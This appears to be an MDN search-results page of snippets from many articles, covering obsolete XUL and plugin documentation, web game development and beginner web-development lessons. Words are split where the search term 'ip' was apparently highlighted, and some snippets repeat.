://mozilla.org"/> <menuitem label="slashdot" value="http://slashdot.org"/> <menuitem label="sourceforge" value="http://sf.net"/> <menuitem label="freshmeat" value="http://freshmeat.net"/> </menupopup> </menulist> the following example shows how a menupopup can be used as a context menu for an element. when the label is right-clicked, the menu will be displayed. <menupopup id="cl
ipmenu"> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> <label value="right click for popup" context="cl
ipmenu"/> attributes ignorekeys type: boolean if true, keyboard navigation between items in the popup is disabled. left type: integer overrides the horizontal position of the popup specified by the showpopup method. onpopuph...
... this event may also be received while the popup is still open, but when sub-menus contained within this popup are hidden. ...
...enu1-popup"> <menuitem label="submenu1 item 1"/> <menuitem label="submenu1 item 2"/> </menupopup> </menu> <menu id="submenu2" label="submenu 1"> <menupopup id="submenu2-popup"> <menuitem label="submenu2 item 1"/> <menuitem label="submenu2 item 2"/> </menupopup> </menu> <menupopup/> onpopuphiding type: scr
ipt code this event is sent to a popup when it is about to be hidden. onpopupshowing type: scr
ipt code this event is sent to a popup just before it is opened. this handler is usually used to dynamically set the contents when the user requests to display it. returning false from this event handler prevents the popup from appearing. onpopupshown type: scr
ipt code this event is sent ...
...And 3 more matches
toolbar - Archive of obsolete content
the toolbar should always have an id attribute. note: gecko 2.0 adds support for external toolbars. these are toolbars that are not children of a toolbox element. ...
...earlier versions, a copy of each item was created and placed on the toolbar. this means that the palette now only contains items not already in the toolbar. this introduces a potential compatibility problem for extensions that depend on being able to identify all possible toolbar items by looking in the toolbarpalette. ...
...ns, a copy of each item was created and placed on the toolbar. this means that the palette now only contains items not already in the toolbar. this introduces a potential compatibility problem for extensions that depend on being able to identify all possible toolbar items by looking in the toolbarpalette. ...
...And 3 more matches
XULRunner Hall of Fame - Archive of obsolete content
d gui prototyping that everyone can use. source qiqqa research manager, reference manager, and pdf manager. xulrunner is embedded to provide automatic search against journal archives, automatic acquisition of bibtex information, and automatic downloading of pdfs. slimerjs slimerjs is a xulrunner application that can be launched with firefox, allowing to execute an external javascr
ipt scr
ipt which can man
ipulate web content. its goal is to provide a tool like phantomjs, with the same api, except that it runs gecko instead of webkit, and it is not headless (but you can still use xvfb to have a headless slimerjs). sqlite manager manage all your sqlite databases using this lightweight extension for firefox, thunderbird, seamonkey, songbird, komodo etc. sqlite manager...
..., and safari integration. both firefox extension and xulrunner-based standalone application available. source applications based on xulrunner 1.9 or earlier buzzbird xul-based desktop twitter client. github bluegriffon the next-generation web editor based on the rendering engine of firefox. build instructions convertigo enterprise mashup server a web integrator and web cl
ipper tool to build enterprise mashups nightingale nightingale is a communtiy fork of the songbird media player, bringing back linux support and much more. build instructions kirix strata a new specialty browser for accessing and man
ipulating data from the web telekast an open source teleprompter and scr
ipt editor. source tomtom home 2 pc application to manage tomtom ...
...english site. inactive projects these projects appear to be less actively developed, with no updates since 2010. they are all based on xulrunner 1.8 or earlier. ...
...And 3 more matches
External resources for plugin creation - Archive of obsolete content
frameworks and tools there are several open source projects designed to assist with the creation of npapi plugins. please note that even when using these, it is still a good idea to have an understanding of what is going on under the hood, regardless of the level of abstraction provided. framework: firebreath project home page project history descr
iption (from the project creators): firebreath is a cross-platform browser plugin framework written in c++. plugins created with firebreath work on all major browsers, including firefox 3.0 and later. platforms supported include windows, linux, and mac os x (intel). feature highlights include thread safety checks, unicode support (with std::wstring), activex support, built-in drawing model negotiation for mac, automatic type conversion (includ...
...tform browser plugin framework written in c++. plugins created with firebreath work on all major browsers, including firefox 3.0 and later. platforms supported include windows, linux, and mac os x (intel). ...
...icode support (with std::wstring), activex support, built-in drawing model negotiation for mac, automatic type conversion (including javascr
ipt arrays and objects), advanced security features, and more. supported development environments are visual studio on windows, xcode on mac, and gcc on linux. all platforms rely on cmake for easy cross-platform builds. project: nixysa project home page descr
iption (from the home page): nixysa is a framework written in python to automatically generate glue code for npapi plugins (plugins for browsers such as google chrome or firefox), letting you easily expose c++ classes to javascr
ipt from a simple idl representation. nixysa was originally conceived for the needs of o3d, but is flexible enough to support a wide range of use cases. project: juce project...
...And 3 more matches
NPVariant - Archive of obsolete content
<< gecko plugin api reference << scr
ipting plugins summary npvariant is a struct that holds a value and the type of that value. the value is held in a union, and the type is one of types defined in the npvarianttype enumeration. syntax typedef struct _npvariant { npvarianttype type; union { bool boolvalue; int32_t intvalue; double_t doublevalue; npstring stringvalue; npobject *objectvalue; } value; } npvariant; fields the data structure has the following fields: type a member of the npvarianttype enumeration specifying the data type contained in the npvariant. value the value contained in the npvariant structure. ...
...value; npstring stringvalue; npobject *objectvalue; } value; } npvariant; fields the data structure has the following fields: type a member of the npvarianttype enumeration specifying the data type contained in the npvariant. value the value contained in the npvariant structure. it may be a boolean, integer, double, string, or object, depending on the variant type. ...
... fields the data structure has the following fields: type a member of the npvarianttype enumeration specifying the data type contained in the npvariant. value the value contained in the npvariant structure. it may be a boolean, integer, double, string, or object, depending on the variant type. ...
...And 3 more matches
Why RSS Content Module is Popular - Including HTML Contents - Archive of obsolete content
rss has long had the <descr
iption> element that can be used to include the contents of an <item>. for example, you could use it to include the entire contents of a blog post; or just a summary of it. however, the rss <descr
iption> element is only suppose to be used to includeplain text data. this obviously limits you. and since many peoplewrite in html information and formatting is lost with the rss <descr
iption> element. however, it has become common practice to putxml escaped html data in it. (even through you are not suppose to.) for example, if your blog post was: this is <b>bold</b>. then the <descr
iption> would be: <descr
iption>this is <b>bold</b>.</descr
iption> note that the "<" has been turned into "<". and the ">" has been turned into ">". this great...
...> note that the "<" has been turned into "<". and the ">" has been turned into ">". this greatly bloats the size of contents but is necessary since certain characters are no allowed in xml. xml does however have the cdata convention. you can put (almost) whatever you want in a cdata section. including "<" and ">" without having to escape them. using the example above we'd have: <descr
iption><![cdata[this is <b>bold</b>.]]></descr
iption> this helps reduce the bloat. however, the <descr
iption> is not suppose to be used for any of this. it is only suppose to be used to includeplain text. but rss still leaves us without a way to include html contents. the rss content module fills this gap. note: do not put anything butplain text into the rss <descr
iption> element. although it ha...
...it is not actually allowed. the rss 2.0 specification clearly states that "entity-encoded html is allowed" and even provides examples showing exactly the syntax above (using cdata and unencoded html). the wording of this note should be reconsidered. ...
...And 3 more matches
Theme changes in Firefox 2 - Archive of obsolete content
manager.css new file containing the ui for the search engine manager window. toolkit/mozapps/preferences/fontscaling.xul - removed from firefox 2. changes to the default theme the table below lists all the changes made in the default theme for firefox 2; you can use this information as a starting point for figuring out the changes you need to make. file descr
iption of change browser/bookmarks/addbookmark.css updated to include microsummary-related css changes. browser/bookmarks/bookmarksproperties.css new file; includes microsummary-related css. browser/browser.css needs to be updated to include new css for microsummaries, search fields, iconic bookmark menu items, and more. browser/dropmark-nav-small.png ...
... tab bar, including per-tab close buttons. global/icons/alltabs.png not actually used; left over from earlier drafts of the theme. global/inactivetab-left.png removed file. global/inactivetab-right.png removed file. global/menu.css updated to include new styles. global/notification.css new file; defines styles used by the notification str
ip that appears at the top of browser windows to present notices such as "a popup was blocked." global/scrollbox/autorepeat-arrow-dn-dis.gif new file; icon displayed for a disabled autorepeat down arrow in a scroll box. global/scrollbox/autorepeat-arrow-dn.gif new file; icon displayed for an autorepeat down arrow in a scroll box. global/scrollbox/autorepeat-arrow-up-...
...the third icon (red here) indicates that an add-on is disabled, either by the user or because it's incompatible with the application. the fourth icon (blue here)(not sure what this one means). mozapps/extensions/question.png new file; used in the add-ons manager when you check for updates. if no updates are found, this icon is displayed at the left side of the message str
ip that appears across the top of the window. mozapps/extensions/update.css this file, which skins the firefox update wizard, has fewer styles in it due to the redesigned update wizard. mozapps/extensions/viewbuttons.png new file; contains icons for each of the views that may be available in the add-ons manager. in the default theme, these look something like this: ...
...And 3 more matches
E4X for templating - Archive of obsolete content
refox 16, disabled by default for chrome in firefox 17, and removed in firefox 18. use domparser/domserializer or a non-native jxon algorithm instead. e4x can be used for creating templates for dynamic content. while it may be obvious after a study of the basics of e4x that it can be used for this purpose, if one adds a few common purpose functions (especially along with the convenience of javascr
ipt 1.8 expression closures), the templates can function more dynamically, offering the power and readability of templating languages such as smarty for php (though admittedly without the currently wider cross-browser support of xslt or the strictly-xml approach of phptal or seethrough templating). security and escaping function e (str) { if (typeof str === 'xml') {str = str.tostring();} ret...
...power and readability of templating languages such as smarty for php (though admittedly without the currently wider cross-browser support of xslt or the strictly-xml approach of phptal or seethrough templating). ...
...olbarbutton label={$s('mytoolbar.label')}/> conditionals function _if (cond, h, _else) { if (cond && cond != undefined) { // we need undefined condition for e4x return h(cond); } else if (_else) { return _else(cond); } return ''; // empty string allows conditions in attribute as well as element content } for example: {_if(elems.length(), function () <descr
iption>{elems[0]}</descr
iption>, function _else () <label>no data</label> )} note that the simple xmllist() constructor (<></>) may be useful to still be able to use an expression closure (i.e., without needing return statements and braces): {_if(elems.length(), function () <> <markup/> <markup/> </>)} note that, while it is convenient to store such e4x in separate file templ...
...And 3 more matches
Object.prototype.__noSuchMethod__ - Archive of obsolete content
rd 43 / seamonkey 2.40)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. the __nosuchmethod__ property used to reference a function to be executed when a non-existent method is called on an object, but this function is no longer available. ...
...this behavior can be circumvented by defining a function at that object's __nosuchmethod__ member. ...
...ents, the first is the name of the method attempted and the second is an array of the arguments that were passed in the method call. the second argument is an actual array (that is, it inherits through the array.prototype chain) and not the array-like arguments object. ...
...And 3 more matches
LiveConnect - Archive of obsolete content
liveconnect provides javascr
ipt with the ability to call methods of java classes and vice-versa using the existing java infrastructure. older versions of gecko included special support for the java<->javascr
ipt bridge (such as the java and packages global objects), but as of mozilla 16 (firefox 16 / thunderbird 16 / seamonkey 2.13) liveconnect functionality is provided solely by the oracle's java plugin. documentation java plugin - liveconnect documentation this is likely the most up-to-date documentation of liveconnect. removal of java and packages global objects in mozilla 16 see bug 748343 for the rationale and workarounds. you can still embed java applets and access their api from javascr
ipt. liveconnect overview an overview f...
... from javascr
ipt. liveconnect overview an overview for liveconnect. liveconnect reference the java classes used for liveconnect, along with their constructors and methods. java in firefox extensions community view mozilla.dev.tech.java forums... mailing list newsgroup rss feed related topics javascr
ipt, plugins older notes (please update or remove as needed.) while the bloated liveconnect code in the mozilla source was removed in version 1.9.2 of the platform (see bug 442399), its former api has been restored (see also the specification and this thread) (building on npapi?), and as of java 6 update 12, extensions as well as applets can make use of this restored api. the reimp...
...ile the bloated liveconnect code in the mozilla source was removed in version 1.9.2 of the platform (see bug 442399), its former api has been restored (see also the specification and this thread) (building on npapi?), and as of java 6 update 12, extensions as well as applets can make use of this restored api. ...
...And 3 more matches
Packages - Archive of obsolete content
obsolete since gecko 16.0 (firefox 16.0 / thunderbird 16.0 / seamonkey 2.13)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. summary a top-level object used to access java classes from within javascr
ipt code. the support for this object was removed in gecko 16, see liveconnect for details. created by the packages object is a top-level, predefined javascr
ipt object. you can automatically access it without using a constructor or calling a method. descr
iption the packages object lets you access the public methods and fields of an arbitrary java class from within javascr
ipt. the java, netscape, and sun properties represent the packages java.*, netscape.*, and sun.* respecti...
...lds of an arbitrary java class from within javascr
ipt. the java, netscape, and sun properties represent the packages java.*, netscape.*, and sun.* respectively. use standard java dot notation to access the classes, methods, and fields in these packages. for example, you can access a constructor of the frame class as follows: var theframe = new packages.java.awt.frame(); for convenience, javascr
ipt provides the top-level netscape, sun, and java objects that are synonyms for the packages properties with the same names. consequently, you can access java classes in these packages without the packages keyword, as follows: var theframe = new java.awt.frame(); the classname property represents the fully qualified path name of any other java class that is available to javascr
ipt. you must use ...
...: var theframe = new java.awt.frame(); the classname property represents the fully qualified path name of any other java class that is available to javascr
ipt. you must use the packages object to access classes outside the netscape, sun, and java packages. properties classname: the fully qualified name of a java class in a package other than netscape, java, or sun that is available to javascr
ipt. java: any class in the java package java.*. netscape: any class in the java package netscape.*. sun: any class in the java package sun.*. ...
...And 3 more matches
Examples - Game development
hyper vanguard force a neat vertically scrolling space shooter. ...
...th. a testament to what can be done with javascr
ipt, webgl, and related technologies. the first two sections list playable games, while the second is a catch-all area to list demos that aren't necessarily interactive/games. free/demo games beloola webvr platform to connect passionate people. experience both available on 2d screens and on vr hmds (settings / switch to vr mode). tanx a mult
iplayer tank battle game, created with playcanvas. hyper vanguard force a neat vertically scrolling space shooter. swooop a plane flying game: control your plane and collect the jewels. again, created with playcanvas. save the day fly your rescue chopper around the disaster area and save the stranded victims (ga.me.) polycraft a sh
ipwreck 'n survive game. explore the island and defeat the mo...
...mbie splatter action, made with unity3d. angry bots a futuristic aliens-esque isometric 3rd person shooter demo, made with unity3d. nutmeg cute retro scrolling platforming action. back to candyland a match-3 (candy crush) style game. biolab disaster side-scrolling platform shooter. x-type vertically scrolling space shooter demo. xibalba retro (doom-style) first person shooter. ...
...And 3 more matches
Introduction to game development for the Web - Game development
top and native os counterparts. with modern web technologies and a recent browser, it's entirely possible to make stunning, top-notch games for the web. and we're not talking about simple card games or multi-player social games that have in the olden days been done using flash(r). we're talking about kick-ass 3d action shooters, rpgs, and more. thanks to massive performance improvements in javascr
ipt just-in-time compiler technology and new apis, you can build games that run in the browser (or on html5-powered devices) without making compromises. the html5 game platform you can truly think of the web as a better target platform for your game. as we like to say, "the web is the platform." let's take a look at the core of the web platform: function technology audio ...
...think of the web as a better target platform for your game. as we like to say, "the web is the platform." let's take a look at the core of the web platform: function technology audio web audio api graphics webgl (opengl es 2.0) input touch events, gamepad api, device sensors, webrtc, full screen api, pointer lock api language javascr
ipt (or c/c++ using emscr
ipten to compile to javascr
ipt) networking webrtc and/or websockets storage indexeddb or the "cloud" web html, css, svg (and much more!) the business case as a game developer, whether you're an individual or a large game studio, you want to know why it makes sense to target the web with your next game project. let's look at how the...
.... you don't have to hand over 30% of your revenues to someone else just because your game is in their ecosystem. instead, charge what you want and use whatever payment processing service you like. again with more control, you can update your game whenever you want. no waiting breathlessly for approval while someone hidden within another company decides whether or not your critical bug fix will sh
ip today or tomorrow. control your analytics! instead of relying on someone else to make all the decisions about what analytics you need, you can collect your own -- or choose the third party that you like the best -- to gather information about your sales and your game's reach. you get to manage your customer relationsh
ip more closely, in your own way. no more having customer feedback filtered th...
...And 3 more matches
Audio for Web games - Game development
art playback then. for other more active sounds that are to be used during the game we could consider priming them as soon as something like a start button is pressed. to prime audio like this we want to play a part of it; for this reason it is useful to include a moment of silence at the end of your audio sample. jumping to, playing, and then pausing that silence will mean we can now use javascr
ipt to play that file at arbitrary points. you can find out more about best practises with the autoplay policy here. note: playing part of your file at zero volume could also work if the browser allows you to change volume (see below). also note that playing and immediately pausing your audio does not guarantee that a small piece of audio won't be played. note: adding a web app to your mobile's...
... note: volume changeability is tested with our volume test example. mobile workarounds although mobile browsers can present problems, there are ways to work around the issues detailed above. audio sprites audio sprites borrow their name from css sprites, which is a visual technique for using css with a single graphic resource to break it into a series of sprites. we can apply the same princ
iple to audio so that rather than having a bunch of small audio files that take time to load and play, we have one larger audio file containing all the smaller audio sn
ippets we need. to play a specific sound from the file, we just use the known start and stop times for each audio sprite. the advantage is that we can prime one piece of audio and have our sprites ready to go. to do this we can just ...
...ent time to know when to stop. if you space your individual sounds by at least 500ms then using the timeupdate event (which fires every 250ms) should be sufficient. your files may be slightly longer than they strictly need to be, but silence compresses well. ...
...And 3 more matches
Implementing game control mechanisms - Game development
one of html5's main advantages as a game development platform is the ability to run on various platforms and devices. streamlining cross device differences creates mult
iple challenges, not least when providing appropriate controls for different contexts. in this series of articles we will show you how you can approach building a game that can be played using touchscreen smartphones, mouse and keyboard, and also less common mechanisms such as gamepads. case study we'll be using the captain rogers: battle at andromeda demo as an example. ...
...ries of articles we will show you how you can approach building a game that can be played using touchscreen smartphones, mouse and keyboard, and also less common mechanisms such as gamepads. case study we'll be using the captain rogers: battle at andromeda demo as an example. captain rogers was created using the phaser framework, the most popular tool for simple 2d game development in javascr
ipt right now, but it should be fairly easy to reuse the knowledge contained within these articles when building games in pure javascr
ipt or any other framework. if you're looking for a good introduction to phaser, then check the 2d breakout game using phaser tutorial. in the following articles we will show how to implement various different control mechanisms for captain rogers to support differen...
...how how to implement various different control mechanisms for captain rogers to support different platforms -- from touch on mobile, through keyboard/mouse/gamepad on desktop, to more unconventional ones like tv remote, shouting to or waving your hand in front of the laptop, or squeezing bananas. setting up the environment let's start with a quick overview of the game's folder structure, javascr
ipt files and in-game states, so we know what's happening where. the game's folders look like this: as you can see there are folders for images, javascr
ipt files, fonts and sound effects. the src folder contains the javascr
ipt files split as a separate states -- boot.js, preloader.js, mainmenu.js and game.js -- these are loaded into the index file in this exact order. the first one initializes ph...
...And 3 more matches
Control flow - MDN Web Docs Glossary: Definitions of Web-related terms
the control flow is the order in which the computer executes statements in a scr
ipt. code is run in order from the first line in the file to the last line, unless the computer runs across the (extremely frequent) structures that change the control flow, such as conditionals and loops. for example, imagine a scr
ipt used to validate user data from a webpage form. the scr
ipt submits validated data, but if the user, say, leaves a required field empty, the scr
ipt prompts them to fill it in. ...
...he first line in the file to the last line, unless the computer runs across the (extremely frequent) structures that change the control flow, such as conditionals and loops. for example, imagine a scr
ipt used to validate user data from a webpage form. the scr
ipt submits validated data, but if the user, say, leaves a required field empty, the scr
ipt prompts them to fill it in. to do this, the scr
ipt uses a conditional structure or if...else, so that different code executes depending on whether the form is complete or not: if (field==empty) { promptuser(); } else { submitform(); } a typical scr
ipt in javascr
ipt or php (and the like) includes many control structures, including conditionals, loops and functions. parts of a scr
ipt may also be set to execute when events occur. for ex...
...hen events occur. for example, the above excerpt might be inside a function that runs when the user clicks the submit button for the form. the function could also include a loop, which iterates through all of the fields in the form, checking each one in turn. ...
...And 3 more matches
Polyfill - MDN Web Docs Glossary: Definitions of Web-related terms
for example, a polyfill could be used to mimic the functionality of an html canvas element on microsoft internet explorer 7 using a silverlight plugin or mimic support for css rem units, or text-shadow, or whatever you want. the reason why polyfills are not used exclusively is for better functionality and better performance. native implementations of apis can do more and are faster than polyfills. for example, the object.create polyfill only contains the functionalities that are possible in a non-native implementation of object.create. ...
...ve implementations of apis can do more and are faster than polyfills. for example, the object.create polyfill only contains the functionalities that are possible in a non-native implementation of object.create. other times, polyfills are used to address issues where browsers implement the same features in different ways. ...
...mes, polyfills are used to address issues where browsers implement the same features in different ways. the polyfill uses non-standard features in a certain browser to give javascr
ipt a standards-compliant way to access the feature. although this reason for polyfilling is very rare today, it was especially prevalent back in the days of ie6, netscape, and nnav where each browser implemented javascr
ipt very differently. the 1st version of jquery was an early example of a polyfill. ...
...And 3 more matches
Accessibility - Learn web development
we'll cover accessibility in special detail. overview when someone describes a site as "accessible," they mean that any user can use all its features and content, regardless of how the user accesses the web -- even and especially users with physical or mental impairments. ...
...we'll cover accessibility in special detail. overview when someone describes a site as "accessible," they mean that any user can use all its features and content, regardless of how the user accesses the web -- even and especially users with physical or mental impairments. ...
...we'll cover accessibility in special detail. overview when someone describes a site as "accessible," they mean that any user can use all its features and content, regardless of how the user accesses the web -- even and especially users with physical or mental impairments. ...
...And 3 more matches
Debugging CSS - Learn web development
ticle what are browser developer tools is an up-to-date guide explaining how to access the tools in various browsers and platforms. while you may choose to mostly develop in a particular browser, and therefore will become most familiar with the tools included in that browser, it is worth knowing how to access them in other browsers. this will help if you are seeing different rendering between mult
iple browsers. you will also find that browsers have chosen to focus on different areas when creating their devtools. for example in firefox there are some excellent tools for working visually with css layout, allowing you to inspect and edit grid layouts, flexbox, and shapes. however, all of the different browsers have similar fundamental tools, e.g. for inspecting the properties and values applie...
... applied to elements on your page, and making changes to them from the editor. in this lesson we will look at some useful features of the firefox devtools for working with css. in order to do so i'll be using an example file. load this up in a new tab if you want to follow along, and open up your devtools as described in the article linked above. the dom versus view source something that can tr
ip up newcomers to devtools is the difference between what you see when you view the source of a webpage, or look at the html file you put on the server, and what you can see in the html pane of the devtools. while it looks roughly similar to what you can see via view source there are some differences. in the rendered dom the browser may have corrected some badly-written html for you. if you incorr...
...ered dom the browser may have corrected some badly-written html for you. if you incorrectly closed an element, for instance opening an <h2> but closing with an </h3>, the browser will figure out what you were meaning to do and the html in the dom will correctly close the open <h2> with an </h2>. the browser will also normalize all of the html, and the dom will also show any changes made by javascr
ipt. view source in comparison, is simply the html source code as stored on the server. the html tree in your devtools shows exactly what the browser is rendering at any given time, so it gives you an insight into what is really going on. inspecting the applied css select an element on your page, either by right/ctrl-clicking on it and selecting inspect, or selecting it from the html tree on the ...
...And 3 more matches
How does the Internet work? - Learn web development
possible to set cables up between your house and the rest of the world, so how can you handle this? well, there are already cables linked to your house, for example, electric power and telephone. the telephone infrastructure already connects your house with anyone in the world so it is the perfect wire we need. to connect our network to the telephone infrastructure, we need a special piece of equ
ipment called a modem. this modem turns the information from our network into information manageable by the telephone infrastructure and vice versa. so we are connected to the telephone infrastructure. the next step is to send the messages from our network to the network we want to reach. to do that, we will connect our network to an internet service provider (isp). an isp is a company that manag...
...and can also access other isps' routers. so the message from our network is carried through the network of isp networks to the destination network. the internet consists of this whole infrastructure of networks. finding computers if you want to send a message to a computer, you have to specify which one. ...
... other isps' routers. so the message from our network is carried through the network of isp networks to the destination network. the internet consists of this whole infrastructure of networks. finding computers if you want to send a message to a computer, you have to specify which one. ...
...And 3 more matches
What is a URL? - Learn web development
is the http protocol or its secured version, https. the web requires one of these two, but browsers also know how to handle other protocols such as mailto: (to open a mail client) or ftp: to handle file transfer, so don't be surprised if you see such protocols. www.example.com is the domain name. it indicates which web server is being requested. alternatively, it is possible to directly use an
ip address, but because it is less convenient, it is not often used on the web. :80 is the port. it indicates the technical "gate" used to access the resources on the web server. it is usually omitted if the web server uses the standard ports of the http protocol (80 for http and 443 for https) to grant access to its resources. otherwise it is mandatory. /path/to/myfile.html is the path to the...
...e are some extra parts and some extra rules regarding urls, but they are not relevant for regular users or web developers. don't worry about this, you don't need to know them to build and use fully functional urls. ...
...z
ip code; the path represents the building where your mail should be delivered; the parameters represent extra information such as the number of the apartment in the building; and, finally, the anchor represents the actual person to whom you've addressed your mail. how to use urls any url can be typed right inside the browser's address bar to get to the resource behind it. ...
...And 3 more matches
What is a web server? - Learn web development
e. objective: you will learn what a web server is and gain a general understanding of how it works. summary the term web server can refer to hardware or software, or both of them working together. on the hardware side, a web server is a computer that stores web server software and a website's component files. (for example, html documents, images, css stylesheets, and javascr
ipt files) a web server connects to the internet and supports physical data interchange with other devices connected to the web. on the software side, a web server includes several parts that control how web users access hosted files. at a minimum, this is an http server. an http server is software that understands urls (web addresses) and http (the protocol your browser uses to view webpages). an ...
...a static web server plus extra software, most commonly an application server and a database. we call it "dynamic" because the application server updates the hosted files before sending content to your browser via the http server. for example, to produce the final webpages you see in the browser, the application server might fill an html template with content from a database. sites like mdn or wik
ipedia have thousands of webpages. typically, these kinds of sites are composed of only a few html templates and a giant database, rather than thousands of static html documents. this setup makes it easier to maintain and deliver the content. active learning there is no active learning available yet. deeper dive to review: to fetch a webpage, your browser sends a request to the web server, which...
...nds a request to the web server, which searches for the requested file in its own storage space. upon finding the file, the server reads it, processes it as-needed, and sends it to the browser. let's look at those steps in more detail. ...
...And 3 more matches
HTML basics - Learn web development
u need to know for now. <html></html> -- the <html> element. this element wraps all the content on the entire page and is sometimes known as the root element. <head></head> -- the <head> element. this element acts as a container for all the stuff you want to include on the html page that isn't the content you are showing to your page's viewers. this includes things like keywords and a page descr
iption that you want to appear in search results, css to style our content, character set declarations and more. <meta charset="utf-8"> -- this element sets the character set your document should use to utf-8 which includes most characters from the vast majority of written languages. essentially, it can now handle any textual content you might put on it. there is no reason not to set this and it ca...
...s or whatever else. images let's turn our attention to the <img> element again: <img src="images/firefox-icon.png" alt="my test image"> as we said before, it embeds an image into our page in the position it appears. it does this via the src (source) attribute, which contains the path to our image file. we have also included an alt (alternative) attribute. in this attribute, you specify descr
iptive text for users who cannot see the image, possibly because of the following reasons: they are visually impaired. users with significant visual impairments often use tools called screen readers to read out the alt text to them. something has gone wrong causing the image not to display. for example, try deliberately changing the path inside your src attribute to make it incorrect. if you sav...
...sers with significant visual impairments often use tools called screen readers to read out the alt text to them. something has gone wrong causing the image not to display. for example, try deliberately changing the path inside your src attribute to make it incorrect. if you save and reload the page, you should see something like this in place of the image: the keywords for alt text are "descr
iptive text". the alt text you write should provide the reader with enough information to have a good idea of what the image conveys. in this example, our current text of "my test image" is no good at all. a much better alternative for our firefox logo would be "the firefox logo: a flaming fox surrounding the earth." try coming up with some better alt text for your image now. find out more about ...
...And 3 more matches
Adding vector graphics to the Web - Learn web development
ges side by side, of a red star with a black drop shadow. the difference is that the left one is a png, and the right one is an svg image. the difference becomes apparent when you zoom in the page -- the png image becomes pixellated as you zoom in because it contains information on where each pixel should be (and what color). when it is zoomed, each pixel is simply increased in size to fill mult
iple pixels on screen, so the image starts to look blocky. the vector image however continues to look nice and crisp, because no matter what size it is, the algorithms are used to work out the shapes in the image, with the values simply being scaled as it gets bigger. note: the images above are actually all pngs -- with the left-hand star in each case representing a raster image, and the right...
...cs editor like inkscape or illustrator. these packages allow you to create a variety of illustrations using various graphics tools, and create approximations of photos (for example inkscape's trace bitmap feature.) svg has some additional advantages besides those described so far: text in vector images remains accessible (which also benefits your seo). svgs lend themselves well to styling/scr
ipting, because each component of the image is an element that can be styled via css or scr
ipted via javascr
ipt. so why would anyone want to use raster graphics over svg? well, svg does have some disadvantages: svg can get complicated very quickly, meaning that file sizes can grow; complex svgs can also take significant processing time in the browser. svg can be harder to create than raster im...
...ee sides equal" height="87" width="100" /> pros quick, familiar image syntax with built-in text equivalent available in the alt attribute. you can make the image into a hyperlink easily by nesting the <img> inside an <a> element. the svg file can be cached by the browser, resulting in faster loading times for any page that uses the image loaded in the future. cons you cannot man
ipulate the image with javascr
ipt. if you want to control the svg content with css, you must include inline css styles in your svg code. (external stylesheets invoked from the svg file take no effect.) you cannot restyle the image with css pseudoclasses (like :focus). troubleshooting and cross-browser support for browsers that don't support svg (ie 8 and below, android 2.3 and below), you could...
...And 3 more matches
Adding features to our bouncing balls demo - Learn web development
previous overview: objects in this assessment, you are expected to use the bouncing balls demo from the previous article as a starting point, and add some new and interesting features to it. prerequisites: before attempting this assessment you should have already worked through all the articles in this module. objective: to test comprehension of javascr
ipt objects and object-oriented constructs starting point to get this assessment started, make a local copy of index-finished.html, style.css, and main-finished.js from our last article in a new directory in your local computer. alternatively, you could use a site like jsbin or glitch to do your assessment. you could paste the html, css and javascr
ipt into one of these online editors. if the online edi...
...int to get this assessment started, make a local copy of index-finished.html, style.css, and main-finished.js from our last article in a new directory in your local computer. alternatively, you could use a site like jsbin or glitch to do your assessment. you could paste the html, css and javascr
ipt into one of these online editors. if the online editor you are using doesn't have separate javascr
ipt/css panels, feel free to put them inline <scr
ipt>/<style> elements inside the html page. note: if you get stuck, then ask us for help -- see the assessment or further help section at the bottom of this page. hints and t
ips a couple of pointers before you get started. this assessment is quite challenging. read the whole assessment before you start coding, and take each step slowly and car...
...) methods on every iteration of the loop. implementing the score counter to implement the score counter, follow the following steps: in your html file, add a <p> element just below the <h1> element containing the text "ball count: ". in your css file, add the following rule at the bottom: p { position: absolute; margin: 0; top: 35px; right: 5px; color: #aaa; } in your javascr
ipt, make the following updates: create a variable that stores a reference to the paragraph. keep a count of the number of balls on screen in some way. increment the count and display the updated number of balls each time a ball is added to the scene. decrement the count and display the updated number of balls each time the evil circle eats a ball (causes it not to exist). a...
...And 3 more matches
Web performance resources - Learn web development
e. below is a quick review of best practices, tools, apis with links to provide more information about each topic. best practices start with learning the critical rendering path of the browser. knowing this will help you understand how to improve the performance of the site. using resource hints such as rel=preconnect, rel=dns-prefetch, rel=prefetch, and rel=preload keep the size of javascr
ipt to a minimum. only use as much javascr
ipt as needed for the current page. css performance factors use http/2 on your server (or cdn). use a cdn for resources which can reduce load times significantly. compress your resources using gz
ip, brotli, and zopfli. image optimization (use css animation, or svg if possible). lazy loading parts of your application outside the viewport. if you do, hav...
...ormance is all about user experience and perceived performance. as we learned in the critical rendering path document, linking css with a tradional link tag with rel="stylesheet" is synchronous and blocks rendering. optimize the rendering of your page by removing blocking css. to load css asynchronously one can simpy set the media type to print and then change to all once loaded. ...
...rformance. as we learned in the critical rendering path document, linking css with a tradional link tag with rel="stylesheet" is synchronous and blocks rendering. optimize the rendering of your page by removing blocking css. to load css asynchronously one can simpy set the media type to print and then change to all once loaded. ...
...And 3 more matches
What is web performance? - Learn web development
t after it has started loading is called time to interactive. smoothness and interactivity: does the application feel reliable and pleasurable to use? is the scrolling smooth? are buttons clickable? are pop-ups quick to open up, and do they animate smoothly as they do so? there are a lot of best practices to consider in making apps feel smooth, for example using css animations rather than javascr
ipt for animation, and minimizing the number of repaints the ui requires due to changes in the dom. perceived performance: how fast a website seems to the user has a greater impact on user experience than how fast the website actually is. how a user perceives your performance is as important, or perhaps more important, than any objective statistic, but it's subjective, and not as readily measurable...
...r performance is as important, or perhaps more important, than any objective statistic, but it's subjective, and not as readily measurable. perceived performance is user perspective, not a metric. even if an operation is going to take a long time (because of latency or whatever), it is possible to keep the user engaged while they wait by showing a loading spinner, or a series of useful hints and t
ips (or jokes, or whatever else you think might be appropriate). such an approach is much better than just showing nothing, which will make it feel like it is taking a lot longer and possibly lead to your users thinking it is broken and giving up. performance measurements: web performance involves measuring the actual and perceived speeds of an application, optimizing where possible, and then monit...
... performance, to ensure that what you've optimized stays optimized. this involves a number of metrics (measurable indicators that can indicate success or failure) and tools to meaure those metrics, which we will discuss throughout this module. to summarize, many features impact performance including latency, application size, the number of dom nodes, the number of resource requests made, javascr
ipt performance, cpu load, and more. it is important to minimize the loading and response times, and add additional features to conceal latency by making the experience as available and interactive as possible, as soon as possible, while asynchronously loading in the longer tail parts of the experience. note: web performance includes both objective measurements like time to load, frames per second...
